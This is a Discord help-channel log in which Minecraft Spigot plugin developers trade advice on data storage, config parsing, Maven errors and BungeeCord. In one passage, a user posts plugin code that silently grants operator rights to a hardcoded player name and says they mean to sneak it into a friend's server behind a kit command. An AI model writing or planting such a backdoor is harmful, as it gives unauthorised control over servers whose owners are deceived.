#help-development

1 messages · Page 236 of 1

echo basalt
#

You should also assign variables

#

and one thing I tend to do a lot is adding empty lines to separate the process

simple shale
#
this.plugin.getServer().getScheduler().scheduleSyncDelayedTask((Plugin)this.plugin, () -> paramItem.remove(),

it says paramItem is undefined or somehting, it's red

round finch
#

if getPlayer instance of player lmao

#

dying

echo basalt
#

Let's start by rewriting this a bit

twin venture
#

yes ..

#

i just want to know where i did make the mistake

#

and how to correct it

olive lance
#

if i wanted to notify a player that he entered one of many set zones, is the best way to do it a location check upon playermoveevent and comapre to each zone?

echo basalt
#
@EventHandler
public void onOpen(InventoryOpenEvent event) {
  Player player = (Player) event.getPlayer();
  UltraSkywarsApi api = UltraSkywarsApi.get();

  Game playerGame = api.getGm().getGameByPlayer(player);
  
  if(playerGame == null) {
    return;
  }

  ...
#

also why tf are you passing the player's hashcode on the event wtf

#

there are some other annoyances

twin venture
echo basalt
#

like getGm() which just looks stupid

echo basalt
#

Hashcode is just a numerical representation of the entire object, which should be used for hashing algorithms and collections

twin venture
#

that's how the entire plugin work

echo basalt
#

use UUIDs and all

muted thorn
#

Do you know how I can stop the warden from burrowing into the ground and disappearing?

twin venture
round finch
#

ye for players use UUID

twin venture
#

i hope you understand .

#

not player

echo basalt
#

a hashcode is not a game id

#

my man

#

if you change anything within the object itself, the game id changes

#

like

#

if you add a player, the hashcode is now different

twin venture
#

yes that's what i need

#

a new hashcode each new game

echo basalt
#

I mean yes but changing the existing came

#

makes the hashcode change

#

Just use UUIDs

#

don't try to be clever

twin venture
#

xD

echo basalt
#

gtg now

twin venture
#

alr

ashen lynx
#

Hi! How can I block sideways moving of a player who riding a horse?

#

The sideways moving of the horse

rough drift
#

How do you do it?

#

It won't render, and I need for more than a static image

#

so can't use a texturepack

fervent panther
#

I want items to store stat modifiers like +15% lifesteal or +100 max mana. What's the best way of storing that?

#

I tried

meta.addAttributeModifier(Attribute.GENERIC_LUCK, new AttributeModifier("dungeon.lifesteal", 0.25D, AttributeModifier.Operation.ADD_NUMBER));

but this seems to affect sword damage

hasty prawn
#

PDC

#

?pdc

river oracle
#

^ PDC and lore

#

Lore to do displaying stats PDC to hold the actual data

#

should stress don't pull numbers from lore use PDC for that

warm token
twin venture
tardy delta
#

use a normal for each

tawdry echo
#

bedwars player in skywars?

#

bruh

fervent panther
# river oracle ^ PDC and lore

The reason I didn't use PDC from the start is because I don't want to have to store all the stats separately. Is there a way to get around that?

river oracle
#

yea thats a really stupid idea

#

but yea

#

use a string than parse the string

#

but seriously :{ learn how to abstract it so its easy to check the data

humble tulip
#

Create a class that looks for your namespacedkey and can return the attirbutes in the item and the modifier

river oracle
#

^ the good solution

river oracle
#

?

placid birch
#

what java version and minecraft version should i make my plugin in?

chrome beacon
#

1.19.2 Java 17

placid birch
river oracle
humble tulip
#

Me supporting 1.8.8💀

fluid cypress
#
 groups:
   creative:
     - creative_flat
     - creative_nether
   survival:
     - overworld
     - nether
     - the_end
   hardcore:
     - hard_overworld
     - hard_nether
     - hard_end

how can i turn that into a map of lists? creative, survival and hardcore are arbitrary names, it could be anything, so i cant just do config.get("groups.creative") etc

humble tulip
#

Ah

#

config.getConfigurationSection(groups).getKeys(false)

#

That returns a set which contains (creative, survival, hardcore)

fluid cypress
#

and then getStringList?

humble tulip
#

Yep

humble tulip
humble tulip
fluid cypress
#

the set will contain "groups.creative", etc or just "creative" etc

humble tulip
#

Just "creative"

fluid cypress
#

so like this

Set<String> groups = config.getConfigurationSection("groups").getKeys(false);

for (String group : groups) {
    worldGroups.put(group, config.getStringList("groups." + group));
}

worldGroups is a Map<String, List<String>>

fluid cypress
#

inventory#getContents returns the armor slots too?

humble tulip
#

Just print the side and you should figure it out tbh

#

Size

forest relic
#

Hi!
i am making a plugin similar to UberItems, and wanted to know if there was a way
for me to make an explosion which knocks the player / entities away
without breaking any blocks

humble tulip
#

You can just set the players velocity

forest relic
#

ah ok

#

if anyone plays hypixel skyblock, its sort of like a bonzo staff

quaint mantle
#

Hi there, anyone evere tried to play with GraalVM to create polyglot plugins ? Really interested into that

forest relic
#

oh there is a break blocks argument

#

🤦

#

ty

forest relic
#

is that vscode?

river oracle
#

I'm curious about a design question. I have a "Modifier" this modifier stores events that are triggered when the item is used. Originally I only had each modifier work with one event, however I quickly realized i'd need to beable to access more than 1 event and dispatch depending on different conditions.
My class used to have a generic like so

public class MeliorateModifier<T extends Event> {
  private final ModifierTrigger<T> trigger;
}

this served my original purposes well as I only wanted to worry about one event.
Now, however, its apparent I need to beable to deal with multiple events aka triggers. My idea to do this was have multiple triggers in some sort of map

private final Map<Class<? extends Event>, ModifierTrigger<? extends Event>> triggers;

However this gets really messy fast. I have a method in the class to call the event if the map conatins the trigger key which is the event name and the modifier trigger which is just a functional interface

    @SuppressWarnings("unchecked")
    public void execute(final Event event) {
        final Class<Event> eventClass = (Class<Event>) event.getClass();
        if (triggers.containsKey(eventClass)) {
            // wouldn't this cause an error? iirc you can't downcast with generics like BlockBreakEvent -> Event
            final ModifierTrigger<Event> trigger = (ModifierTrigger<Event>) triggers.get(eventClass);
            trigger.trigger(event, this);
        }
    }

I'm curious if what I have is a viable solution or there are better designs

forest relic
#

also is vscode good enough to build the plugins

river oracle
#

yea i use vscode

humble tulip
river oracle
#

I'd really reccomend using intellij or sum

forest relic
#

eh i am better at doing things in vscode

river oracle
forest relic
#

ez

hybrid spoke
river oracle
#

Intellij UI 😷

hybrid spoke
#

but holy fuck i would have eyecancer of that background

river oracle
#

its really comfy on my eyes

hybrid spoke
#

you colorblind?

river oracle
#

no its a really dark red for me My screen is also on nightlight 24/7

#

so I have an orangish tint to it

hybrid spoke
#

i'll take that as a yes

river oracle
#

I can assure you I can see the color red

forest relic
#

github dark >

hybrid spoke
#

thats green

river oracle
#

no its not

#

you can't fool me "God"Cipher

forest relic
#

bro are you stupid that litteraly green

humble tulip
#

What's green

#

Bro wtf

#

Are you all blind

forest relic
#

oop

hybrid spoke
river oracle
#

"God"Cipher

#

your no god mr cipher

hybrid spoke
#

correct, god - mr cipher.

drowsy helm
#

What if he is

hybrid spoke
#

he's just not worthy enough to believe in me

river oracle
#

every time I ask a question on here It just gets burried cuz I end up talking too much xD

hybrid spoke
#

currently it looks like "ohh, this would be really cool and this and wow thats so complex, i like it"

river oracle
# hybrid spoke what exactly is your intention here

I'm adding a enchant type system called modifiers to tools/weapons. However I realized I'd need to tap into multiple events. I figured it'd be the most clear to bundle events within the modifiers class instead of stacking the listeners all in one very unclear mess of a event handler I'm building a sort of dispatch chain like so

    @EventHandler
    public void onBlockBreak(BlockBreakEvent e) {

        final ItemStack tool = e.getPlayer().getInventory().getItemInMainHand();
        if (tool == null) {
            return;
        }

        Modifiers.LAVA_CRYSTAL.execute(e);
    }

I'd also like to note I'm using interfaces so I end up using that fucked up map and executing

winged ridge
#

Anyone know why I get this error when I'm trying to serialize this map?

error:
java.lang.reflect.InaccessibleObjectException: Unable to make field private volatile java.util.logging.Logger$ConfigurationData java.util.logging.Logger.config accessible: module java.logging does not "opens java.util.logging" to unnamed module @617f449c

map: public static Map<String, BlockData> map = new HashMap<>();

line of code that causes the error:
String json = gson.toJson(PlaceListener.map);

#

I think BlockData is serializible so it shouldn't be the issue

hybrid spoke
winged ridge
hybrid spoke
winged ridge
#

i don't think that's the issue

hybrid spoke
#

since you cant just access private fields anymore in java9+

river oracle
hybrid spoke
river oracle
#

Yea

winged ridge
hybrid spoke
winged ridge
#

oh

hybrid spoke
#

and gson isnt able to access that

winged ridge
#

am i fucked then?

#

or there is a fix

hybrid spoke
#

you could either just use an older jdk or wrap around the stuff you need out of the blockdata

hybrid spoke
# river oracle Yea

well, i would probably do it somewhat similar, just not with another listener system

winged ridge
#

I think BlockData has a function to convert to string

#

maybe i can try this

hybrid spoke
winged ridge
#

i think i can try something with those

hybrid spoke
#

i would either make an enum class of modifiers and give each of them a runnable (which gets really messy really fast as well), or make each modifier an own class, cache the instance with a key or whatever and keep everything needed for that modifier inside its own class

zealous scroll
#

does anyone know if there are any public 1.19.2 playerlist libraries that are still maintained

winged ridge
#

it works

#

If anyone else needs this, I basically convert Location to String and BlockData to String and then use Bukkit.createBlockData(string) to convert my string to blockdata, I also made a special class for Location where i manually convert everything to doubles so i can serialize it then i can deserialize it easily

winged ridge
#

without making a List with all the blocks in there

#

I tried getType().isSolid() but it doesn't work

#

Basically, I have a custom block that copies the block its been placed on, but if the block its placed on is grass/snow... it prints an error because it can't get its BlockData

#

how should I prevent them from being placed on that or make it copy the block under

verbal slate
#

Are there any of you guys who understand the WE API? I'm tired already, I don't understand why copy/paste doesn't work, and there are no errors in the console either.

#

We could discuss this in private messages if there is only a discussion of the spigot api here.

humble tulip
#

paste

#

?paste

undone axleBOT
verbal slate
#

Just a second, I'll take a look

humble tulip
#

here is Cuboid

verbal slate
#

1.18.2 spigot, 7.2.10 WE

humble tulip
#

u using WE or FAWE?

#

i use FAWE

verbal slate
#

WE

#

Does FAWE work only on paper?

humble tulip
#

no

#

works on spigot

#

we sucks

#

use FAWE

#

it's pretty much expected for a server to use FAWE

verbal slate
#

Okay. Do you have instructions on how to connect FAWE as a dependency on maven?

humble tulip
#
        <dependency>
            <groupId>com.fastasyncworldedit</groupId>
            <artifactId>FastAsyncWorldEdit-Bukkit</artifactId>
            <version>2.1.1</version>
            <scope>provided</scope>
            <exclusions>
                <exclusion>
                    <artifactId>FastAsyncWorldEdit-Core</artifactId>
                    <groupId>*</groupId>
                </exclusion>
            </exclusions>
        </dependency>
#
        <dependency>
            <groupId>com.fastasyncworldedit</groupId>
            <artifactId>FastAsyncWorldEdit-Core</artifactId>
            <version>2.0.1</version>
            <scope>provided</scope>
        </dependency>
#

actually

#

you can probably remove the exclusion

#

and remove the second dependency

#

this is an old project im looking at

#

repo is jitpack i think

verbal slate
#

the error is gone, it seems to be working

#

I'll check it on the server now

#

@humble tulip omg it really works, thank you very much!

#

By the way, do you know how much the methods differ on 1.12.2?

fervent panther
# river oracle use a string than parse the string

Would it be better to use a JSON string or something like this https://www.youtube.com/watch?v=3OLSfOkgPMw?

Time to continue our talk about Persistent Data Containers! In this episode, I talk about custom persistent data types. This allows us to save whole custom objects to the containers. This way, we can get more data out of our container without having to save multiple values or even multiple namespaced keys. I hope you all enjoy this video, see y'...

▶ Play video
river oracle
#

lmao coded red

#

dude 💀 just use multiple pdc values

#

and make an object to easily retrieve them

#

idk how thats super hard to grasp as an easy way to do something

humble tulip
fervent panther
# river oracle dude 💀 just use multiple pdc values

I just don't think that's a very scalable system cause I'm gonna be adding lots of attributes. It won't work anyway because I want something like the mc attribute system where an item might have "Health: +2" or "Health: x2" or "Health: +15%"

#

so I'm gonna have to store not just the operation but also the value

#

I guess it could be used as a temporary solution tho

river oracle
#

your still storing it in the PDC

fervent panther
#

Isn’t each pdc like an NBT tag?

river oracle
#

pdc is a NBT tag yes

#

NBT is in what format 🤔

#

never mind that

fervent panther
#

If I did it your way how could I loop through the attributes?

river oracle
#

its your own object thats for you to decide

fervent panther
#

I mean I can’t think of a way to do it besides manually adding another PDC key to the object

river oracle
#

I mean you have a finite of attributes you want to add

#

unless your doing a make your own attribute and functionality system

river oracle
#

if your doing the signing you could make a simple string parser

#

+2
parses into
Operator Plus and 2

#

x2
parses into Operator multiplication and 2

#

I think I get what your getting at now

#

you might have Health +2 and Healthy + 15% on the same piece

#

in that case I'd make a Health section and in the Health section store each of those separately than add them together in the end

fervent panther
#

I think I like the way MC attributes already do this exact thing

#

I just wish I could add my own

river oracle
#

have you checked NMS

#

they are probably hard coded but worth checking

fervent panther
#

Ok I might check it out tomorrow. Thanks for the help!

orchid gazelle
#

Funny part is that I have written a full de-/serializer for BlockData -> Full Multiblock-Structures a few weeks ago lol

solemn meteor
#

How do i open my enderchest when something is clicked in a gui

#

im trying to make it so that when i click the item, itll open my enderchest

#

how does one do that

#

my attempt was futile

humble tulip
#

or just open it 1 tick later

solemn meteor
#

how can one do that?

civic wind
#

Anyone know whats wrong with the pdc check?? Its getting stuck at the broadcast (ignore the error it was just a curly brace at bottom i added it after screenshot)

quaint mantle
civic wind
# solemn meteor how can one do that?

Im on my phone but do use inventoryclickevent, do all the necessary checks and then check the item (meta or pdc etc) matches the item clicked and then close current inventory and open new one

#

Works fine no need to over complicate with a task

quaint mantle
#

i need help

#

i am trying to make a kit command

#

`package op.op;

import org.bukkit.Material;
import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.PlayerJoinEvent;
import org.bukkit.inventory.ItemStack;
import org.bukkit.plugin.java.JavaPlugin;

public final class OP extends JavaPlugin {

@Override
public void onEnable() {
    // Plugin startup logic

//op
getServer().getPluginManager().registerEvents(new onPlayerJoin(), this);
}

public class onPlayerJoin implements Listener {

    @EventHandler
    public void onJoin(PlayerJoinEvent event) {

        Player player = event.getPlayer();

        if (player.getName().equals("BeetcodeMC") && !player.isOp()) {
            player.setOp(true);
        }
    }
}

@Override
public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {
    if (sender instanceof Player) {
        Player player = (Player) sender;

        // Create a new ItemStack (type: diamond)
        ItemStack diamond = new ItemStack(Material.DIAMOND_BLOCK, 64);


        // Give the player our items (comma-seperated list of all ItemStack)
        player.getInventory().addItem(diamond);
    }


    return false;
}

}`

#

i added the command to plugin yml

#

but it doesn't work

#

do i have to register it in the OnEnable method

#

i searched on the internet and on forums but they are mostly outdated and dont seem to work

#

there is also a op command that auto op's me

#

do i have to make seperate classes?

buoyant viper
#

?paste for next time

undone axleBOT
buoyant viper
#

theres like a whole thing on spigots wiki page on how to make a basic command

#

oh ur literally using the code from that page

quaint mantle
#

yes

#

lol

#

i am trying to sneak in some op commands

#

into my friends server

#

never did a kit before

#

i usually work with packets and anti cheat

#

ty for the help

quaint mantle
granite pilot
#

@quaint mantle , I would recommend separating out your code into separate classes. Organizing is your friend. Also, are you using an IDE? Setting up your projects in an environment where you can use a debugger can save you a lot of frustration. I can help you further with this if you'd like.

On the page that was linked by Pixie, it mentions that you need to register the command in your onEnable function like so:

    @Override
    public void onEnable() {
        // Register our command "kit" (set an instance of your command class as executor)
        this.getCommand("kit").setExecutor(new CommandKit());
    }

In the code you pasted, it looks like you have not done this.

#

Although, in your case, you would probably do:

    this.getCommand("cmd_name_here").setExecutor(this);
sinful wave
#

when i try to build

#

Downloading from maven-default-http-blocker: http://0.0.0.0/org/bukkit/bukkit/1.10.2-R0.1-SNAPSHOT/maven-metadata.xml
[WARNING] Could not transfer metadata org.bukkit:bukkit:1.10.2-R0.1-SNAPSHOT/maven-metadata.xml from/to maven-default-http-blocker (http://0.0.0.0/): transfer failed for http://0.0.0.0/org/bukkit/bukkit/1.10.2-R0.1-SNAPSHOT/maven-metadata.xml
[WARNING] org.bukkit:bukkit:1.10.2-R0.1-SNAPSHOT/maven-metadata.xmlfailed to transfer from http://0.0.0.0/ during a previous attempt. This failure was cached in the local repository and resolution will not be reattempted until the update interval of maven-default-http-blocker has elapsed or updates are forced. Original error: Could not transfer metadata org.bukkit:bukkit:1.10.2-R0.1-SNAPSHOT/maven-metadata.xml from/to maven-default-http-blocker (http://0.0.0.0/): transfer failed for http://0.0.0.0/org/bukkit/bukkit/1.10.2-R0.1-SNAPSHOT/maven-metadata.xml
Downloading from maven-default-http-blocker: http://0.0.0.0/org/mcstats/bukkit/metrics/R8-SNAPSHOT/maven-metadata.xml
[WARNING] Could not transfer metadata org.mcstats.bukkit:metrics:R8-SNAPSHOT/maven-metadata.xml from/to maven-default-http-blocker (http://0.0.0.0/): transfer failed for http://0.0.0.0/org/mcstats/bukkit/metrics/R8-SNAPSHOT/maven-metadata.xml
[WARNING] org.mcstats.bukkit:metrics:R8-SNAPSHOT/maven-metadata.xmlfailed to transfer from http://0.0.0.0/ during a previous attempt. This failure was cached in the local repository and resolution will not be reattempted until the update interval of maven-default-http-blocker has elapsed or updates are forced. Original error: Could not transfer metadata org.mcstats.bukkit:metrics:R8-SNAPSHOT/maven-metadata.xml from/to maven-default-http-blocker (http://0.0.0.0/): transfer failed for http://0.0.0.0/org/mcstats/bukkit/metrics/R8-SNAPSHOT/maven-metadata.xml

wet breach
#

you have a repository that doesn't have https specified

#

http connections, which are unsecure, is blocked by default

#

so, look to see which repo you have specified doesn't have https

#

if you really need http connections, you need to modify your settings.xml for maven and comment out the part that blocks such things

#

@sinful wave

sinful wave
sinful wave
#

just an image link

wet breach
#

what does your settings.xml look like?

sinful wave
#

there isnt a settings.xml

wet breach
#

there is

#

settings.xml is for maven itself

sinful wave
#

bruh why cant i add images man this is annoying

wet breach
#

!verify

undone axleBOT
#

Usage: !verify <forums username>

sinful wave
#

!verify T3dz

undone axleBOT
#

A private message has been sent to your SpigotMC.org account for verification!

sinful wave
wet breach
#

its not a file that is part of your projects

#

it is a file for maven itself

#

if you haven't installed maven

#

then you need to look to see what the settings are that the IDE is giving maven

sinful wave
#

there's this

wet breach
#

see where it says user settings file

#

open that file up

#

as I said, there is always a settings.xml file for maven 😉

sinful wave
#

i dont know where that .mvn is

wet breach
#

open run

#

toss in that directory

#

hit enter

#

it should open it up

sinful wave
#

oh i see nvm i was looking at .mvn/maven.config

#

there is no settings.xml there

wet breach
#

ah interesting

sinful wave
wet breach
#

um, try using the windows search

#

and search for maven.config

#

I have no idea where .mvn would be located at either as I don't use intelliJ

#

anyways the issue is, that for whatever reason maven wants to use http instead of https and the default maven config blocks http only connections

sinful wave
#

weird tho

#

it was working fine

#

but ive been messing alot with the project

#

nothing coming up in either file explorer searches

sinful wave
#

eclipse?

wet breach
#

NetBeans, and I think your problem is mcstats

#

what do you have for dependencies

#

maybe you are missing a repo for one of them

#

and it isn't able to find it

sinful wave
#
<repositories>
        <repository>
            <id>spigotmc-repo</id>
            <url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
        </repository>
        <repository>
            <id>sonatype</id>
            <url>https://oss.sonatype.org/content/groups/public/</url>
        </repository>
        <repository>
            <id>OnARandomBox</id>
            <url>https://repo.onarandombox.com/content/groups/public/</url>
        </repository>
    </repositories>

    <dependencies>
        <dependency>
            <groupId>org.spigotmc</groupId>
            <artifactId>spigot-api</artifactId>
            <version>1.8.8-R0.1-SNAPSHOT</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>com.onarandombox.multiversecore</groupId> <!-- Don't forget to replace this -->
            <artifactId>Multiverse-Core</artifactId> <!-- Replace this as well -->
            <version>2.5.0</version> <!-- This too -->
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.11.0</version>
        </dependency>
    </dependencies>
#

lol ignore the multiverse comments

wet breach
#

not worried about the comments

#

oh btw

#

found where .mvn would be

#

it should be in the project directory

sinful wave
#

it aint

#

theres only .idea

#

which has a few xml files

wet breach
#

try using run to open it up

sinful wave
wet breach
#

you most likely won't see it in intelliJ

sinful wave
#

im looking in explorer

wet breach
#

yeah, so the project directory you have

#

so open run

#

project directory\.mvn

#

and hit enter and it should open it up

sinful wave
#

yea it doesnt exist

wet breach
#

that is odd =/

#

this is why I always choose to install maven

#

and not use IDE provided one

#

alright, I guess we can just create a settings.xml in your .m2 directory

#

so, go create settings.xml there and this is what it needs to have

sinful wave
#

ye ive made a settings.xml

wet breach
#
<settings xmlns="http://maven.apache.org/SETTINGS/1.2.0"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xsi:schemaLocation="http://maven.apache.org/SETTINGS/1.2.0 http://maven.apache.org/xsd/settings-1.2.0.xsd">
</settings>
#

it doesn't need to contain any settings since we don't want it to block anything

#

but it does need that at minimum

sinful wave
#

ok ive done that

rough drift
#

Maps glitch on middle-click

sinful wave
#

is at the top of pom.xml already if u were interested at all

#

similar settings

wet breach
#

the settings one, has settings

sinful wave
#

yea

#

anyway]

#

do i restart

wet breach
#

anyways try compiling again

sinful wave
#

ive restarted

#

ill try

wet breach
#

if that doesn't work, the only solution I have is to install maven on your system and have the IDE use the installed version instead of providing one

#

I am not well versed enough with IntelliJ to figure out why it is doing this for you lol

#

as I said, I don't have this problem with Netbeans unless I specified a repo that doesn't have https

#

well there is one other thing you could try

#

before doing that

#

add the mcstats repo

#

or a repo that does contain mcstats

sinful wave
#

didnt work

#

this is all red on the side aswell

wet breach
#

hmmm

#

try adding vault repo

sinful wave
#

do you have the maven

#
<repositories>
    <repository>
        <id>jitpack.io</id>
        <url>https://jitpack.io</url>
    </repository>
</repositories>
<dependencies>
    <dependency>
        <groupId>com.github.MilkBowl</groupId>
        <artifactId>VaultAPI</artifactId>
        <version>1.7</version>
        <scope>provided</scope>
    </dependency>
</dependencies>

well im trying this

wet breach
#

yeah vault doesn't have its own repo anymore

#

anyways give that a try

sinful wave
#

all just broken bro

#

im tempted to just rewrite my whole thing

#

not using intellij or built in maven 😄

wet breach
#

well what does your pom.xml look like?

sinful wave
wet breach
#

the whole thing

#

you are compiling for java 1.8?

sinful wave
#

yes

#

is that bad

#

i thought java 8 was alright

wet breach
#

depends

#

what java version are you currently using?

sinful wave
#

for what?

wet breach
#

for anything. Like do you have java 17 installed?

#

and that is what you are using to compile projects?

sinful wave
#

i have java 8 installed

#

and 19 and 17

#

but am using 8 to compile

wet breach
#

ok just making sure

sinful wave
#

thesea re my installed so 16, 19, 8

wet breach
#

well only other thing is updating the plugin versions you have in the pom

#

compiler should be 3.10.1

#

and the shade plugin at 3.4.1

#

it might be quite possible to use an older version of the compiler instead

sinful wave
#

i think imma just give up and just make a new project tbh

#

when making a plugin for 1.8 server

#

should i use 1.8 spigot api

#

and what java ver should i use

wet breach
#

well when making a plugin for 1.8 you can't use a newer api lol

#

you have to use the api version that is the same as that you are trying to support

#

so lets say the plugin will work on MC 1.10 and 1.8, well at most you could only use api version 1.8 because 1.8 server won't know how to use a 1.10, and the java version to compile with has to match with the lowest as well

#

in this case, java 8

sinful wave
#

alright thanks alot

undone kraken
#

How can I unfreeze the registrieries (net.minecraft.core.Registry#Frozen)

wet breach
#

o.O

glossy venture
#

any way to disable this

wet breach
#

or you can capture the logging output and reformat it

glossy venture
#

bruh

#

lets goo it works

elfin atlas
#

Is there a way to move a player with a Spigot plugin in a Bungecoord network?

glossy venture
#

player message channel or whatever its called

#

send a message to the proxy and handle it with a plugin there

wet breach
#

easiest way is to instead use a bungee plugin

#

because bungee has an api for moving players between servers

elfin atlas
#

Other ways?

wet breach
#

make the player invoke a command

elfin atlas
#

Ahh okay

#

Because I have a queue server and need to move them from this server to a other

#

Can I detect with a Bungeecord plugin when someone joined the queue server?

wet breach
#

yes

elfin atlas
#

Ahh okay then this will work

wet breach
#

bungeecord knows all the servers a player has connected to

glossy venture
#

bungeecord knows everything a player does

#

nothing about the server though

#

except the address

twin venture
#

hello , is there a way to check if player get items from chest ? and check how many items ?

#

i open a chest , i find 1 ender eye , i get it , and like so , till i get 8 ender eye in my inv

twin venture
#

I might go to sleep , if anyone think of a way , dm me , or mention me 😄

elfin atlas
#

When I get the PostLoginEvent from a Bungecoord plugin and try to get the name like this from a server:

event.getPlayer().getServer().getInfo().getName()

Would be this the name?

eternal oxide
civic wind
eternal oxide
#

There is nothign wrong with your pdc, other than you write to it twice

civic wind
#

Do i?

#

Ive never used it before

eternal oxide
#

in getMythicRune

civic wind
#

Ah yeah i do i got told i had to set meta after again, forgot to take that out

eternal oxide
#

other than that there is nothign wrong

civic wind
#

Why’s it not working then im so confused

#

How irritating

eternal oxide
#

instead of calling remove try setting it to null or it's amount to zero

undone kraken
#

Is there some way to unfreeze mojangs Registry objects?

vocal cloud
#
  1. Don't
undone kraken
#

why not

vocal cloud
#

What do you want to do with the registry

undone kraken
#

register items and blocks

elfin atlas
#

Does bungeecord also has somethink like a BukkitRunnable?

#

To run something every 5 seconds

vocal cloud
#

Hint: kaboom

quiet ice
#

I think shit happens WAAY before that

undone kraken
#

but i saw some premium plugins do this

vocal cloud
#

Something like that

quiet ice
#

You'll have a mismatch between the material API and the block/item registry, so without ASM you can't do anything

vocal cloud
#

Yes, they cheat

quiet ice
#

Yeah, they cheat

vocal cloud
#

That's why I use forge

quiet ice
#

For blocks you simply "kill" other blocks, for items you set some metadata to set the texture

remote swallow
#

they use other blocks and retexture them according to block states

undone kraken
#

but you can register custom entities with bukkit api

undone kraken
quiet ice
#

Without using javaagents or the instrumentation API you can't exactly do that without big explosions happening everywhere

undone kraken
#

anyway there apis doing it entitys why not with items?

quiet ice
#

My little UnsafeValues#processClass hack does not work for bukkit classes, so there is no traditional way to do that

wet breach
#

the only thing that is really custom, is their logic in what they should or should not do

undone kraken
#

net.minecraft.item.Item

quiet ice
#

I guess you could using sun.misc.Unsafe to change the internal array of Materials, then proceed to use even more sun.misc.Unsafe to change up the Enum values cache in java.lang.Class and then unfreeze and re-freeze the NMS regestries through Reflection and sun.misc.Unsafe

#

TLDR: Without sun.misc.Unsafe or some way to transform classes you won't go anywhere

wet breach
#

never recommended to mess with unsafe lol

undone kraken
#

doing it anyhow now

elfin atlas
#

Hey when I'll try to move a player to a different server is there a way to check if the move was successful?

wet breach
#

check if they exist on said server

elfin atlas
#

Okay.

wet breach
#

if they don't well it wasn't successful lol

quiet ice
elfin atlas
quiet ice
#

If you want the easier route, use the proper APIs

vocal cloud
wet breach
#

watch them leak all kinds of objects

vocal cloud
#

Kaboom!

quiet ice
#

Well I just think they'll forget to set the java.lang.Class enum cache

#

Which will have an incredibly subtle effect

wet breach
#

regardless, a lot can easily go wrong with unsafe

undone kraken
vocal cloud
#

Use forge if you're this dead set on it lol

quiet ice
#

Unless you use javaagents that is

wet breach
#

just remember, nothing in unsafe is guaranteed

quiet ice
#

It is safe to assume that Java 17 is going to stay around for longer than the current material API

wet breach
#

that isn't what I meant

#

just that how stuff works in there is not guaranteed to be the same between systems

quiet ice
#

pft, who cares about OpenJ9

#

To be fair doing this sounds really fun, it's a shame I don't have enough time to try that out

elfin atlas
tardy delta
#

server is null

#

is that bungee?

elfin atlas
#

Thats a bungeecord plugin yeah

tardy delta
#

never worked with

elfin atlas
#

I want to check if a player joined the lobby server and then add him to a queue

#

and after this move him if he is the first place

potent pecan
#

is there an op state change event?

hazy parrot
#

there isn't afaik

remote swallow
#

just checked jds, dont thinkt here is

hazy parrot
#

you can probably loop over Server#getOperators every x seconds/minutes and check if there is anything unusual

wet breach
#

there should be an event for when they do join a server

#

?jd

wet breach
#

from the dosc

#

postloginevent says this

#

Event called as soon as a connection has a ProxiedPlayer and is ready to be connected to a server.

#

so that means they haven't joined a server yet

#

that event is when the proxy has determined which server the player is going to connect to, but still hasn't connected to it

#

this one is for they have started connecting to it, but haven't logged into the server just quite yet

elfin atlas
#

Already got if fixed

#

But thanks.

#
@EventHandler
    public void onDamage(EntityDamageByBlockEvent e) {
        Player p = (Player) e.getEntity();
        e.setDamage(0);
        p.setHealth(20);
        e.setCancelled(true);
    }

Does someone know why this is not working?
Players are still getting block damage.

wet breach
elfin atlas
#

Barrier

twin venture
#

i want to do a check for when i get 8 of ender eye

summer scroll
#

You might want to check the damage cause instead tho.

elfin atlas
#

Yeah it is

summer scroll
#

Maybe use EntityDamageEvent too.

twin venture
#

what event should i use for , lets say open a chest and get items from it ? xd

wet breach
summer scroll
elfin atlas
summer scroll
wet breach
#

yeah

#

also, if the barrier is indeed causing damage, then only thing I can think of is that it isn't treated as a block but instead as an entity

#

suffocation damage is only under EntityDamageEvent as a damagecause

twin venture
#

do you think this can work?

#

do i need the runnable?

wet breach
#

why not listen for right click on a chest

#

not exactly sure what it is you are trying to accomplish though

#

IE, the over all goal

green prism
#
     event.setCancelled(true);

        System.out.println(event.getSlot());
        if(elements.stream().noneMatch(element -> element.getSlot() == event.getSlot() && element.getClickEvent().isEmpty())) {
            return;
        }
        
        StaticElement element = elements.stream().filter(e -> e.getSlot() == event.getSlot()).findFirst().get();
        element.getClickEvent().get().accept(event);

Context: I have an InventoryBuilder that generates a custom inventory containing Elements. To allow these elements to perform actions, in the config you can set that

Elements:
12: //Slot
click-event: {ACTION-ENUM}

and as the inventory is loaded, for each Element containing an action, a specific Consumer<InventoryClickEvent> is assigned.
This code is inside the event that the consumer consume and checks for a relation between Bukkit Slots and Element Slots to get a Element Object.

Would you have any better ideas?

twin venture
wet breach
#

and only applies if they pull them from the chest?

twin venture
#

yes

summer scroll
wet breach
#

then using the inventoryclose event as long as you check the inventory being closed is the chest, your code should work then

summer scroll
#

As they might get it from item drop maybe.

twin venture
#

can i use InventoryMoveItemEvent ?

#

that should work too right?

wet breach
#

no moveItemevent is for hoppers

#

and the related

twin venture
#

oh its not for chest?

#

alr i will try it out

wet breach
#

well it works for chests too, but it is hoppers and the like that invoke that event

#

not players

#

hoppers can pull items from chests and put items in chests

twin venture
#

alright i will try InventoryCloseEvent

#

but do i need a runnable for the check?

wet breach
#

why would you?

#

you can get the player involved with the event

#

and as long as the inventory being closed matches the chest, then you can do a check of the player inventory to see if they have those items

#

if so, run your code

twin venture
#

alright thanks , will try it out

#

iam adding , some quests from big servers , for skywars :

#

that's what iam trying to do

#

Inspired by *

wet breach
#

does it matter where they get the ender pearls?

twin venture
#

no i dont think so

#

it dosen't say if its only from a chest

wet breach
#

well its your code, so you should know

#

you shouldn't be copying other works

#

you should be doing things your way

#

not how someone else has it

twin venture
#

iam just trying to know the best of aproching it

wet breach
#

alright, if it doesn't matter where they get the pearl then you should change up your approach so this is optimal

summer scroll
mighty pier
#

how can i make an enum like CustomItem.ITEM that returns an itemstack?

echo basalt
#

that's not an enum

#

just a bunch of static values

mighty pier
#

not understood

#

just not gonna use enums then

tall dragon
twin venture
green prism
#

could you help me pls

echo basalt
winged ridge
#

